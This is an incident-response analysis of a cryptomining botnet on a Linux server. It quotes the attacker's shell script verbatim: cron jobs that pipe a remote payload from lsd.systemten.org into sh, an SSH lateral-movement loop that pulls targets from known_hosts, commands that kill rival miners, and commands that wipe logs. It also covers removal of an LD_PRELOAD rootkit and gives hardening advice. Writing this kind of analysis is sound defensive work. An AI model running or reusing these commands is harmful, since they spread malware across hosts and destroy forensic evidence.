How to Detect and Eradicate a Hidden Linux Mining Botnet: A Step‑by‑Step Analysis

Cause

A friend’s company was hit by a cryptocurrency mining virus and asked for help.

Intrusion Analysis

Basic Information Check

Running top showed no suspicious processes, but an abnormal cron entry was found in crontab:

The URL in the cron job pointed to a shell script (now deleted by the attacker).

Script Analysis

The script created a persistent cron task that repeatedly fetched and executed a remote payload:

echo "*/10 * * * * (curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh"|crontab -
cat > /etc/crontab <<EOF
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
*/10 * * * * root (/usr/local/sbin/sshd||curl -fsSL -m180 lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh
EOF

It then killed any known mining processes:

ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9

The script then downloaded a mining trojan from image‑hosting sites, saved it to various directories, set execution permissions, and launched it:

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
... (omitted for brevity) ...
chmod +x sshd
$(pwd)/sshd || ./sshd || /usr/bin/sshd || /usr/libexec/sshd || /usr/local/bin/sshd || sshd || /tmp/sshd || /usr/local/sbin/sshd

After establishing persistence, the script searched for SSH keys in /root/.ssh and /home/* and attempted lateral movement by invoking the same payload on discovered hosts:

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do
    ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &'
  done
fi
for file in /home/*; do
  if [ -d $file ]; then
    if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
      for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do
        ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &'
      done
    fi
  fi
done

Finally, the attacker attempted to erase traces:

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron

Further Investigation

The analyst first stopped the malicious cron job and removed the entry. Searching for the hidden sshd binary revealed that it was invisible to ps and netstat, indicating a user‑space rootkit using LD_PRELOAD to hook library calls.

Using busybox (which runs statically linked binaries) the hidden processes became visible:

The malicious library libboost_timed.so was found via strace showing it was preloaded by ld.so.preload. Removing this library restored the visibility of the sshd process.

Further reverse engineering of the library showed it also modified several system files and left a backdoor in /etc/init.d, which was subsequently deleted.

Security Recommendations

1. SSH hardening: avoid password‑less login, change the default port, and enforce strong root passwords. 2. Redis hardening: enable authentication (requirepass), prefer Docker deployments, and hide privileged commands. 3. Never install software from untrusted sources on any machine.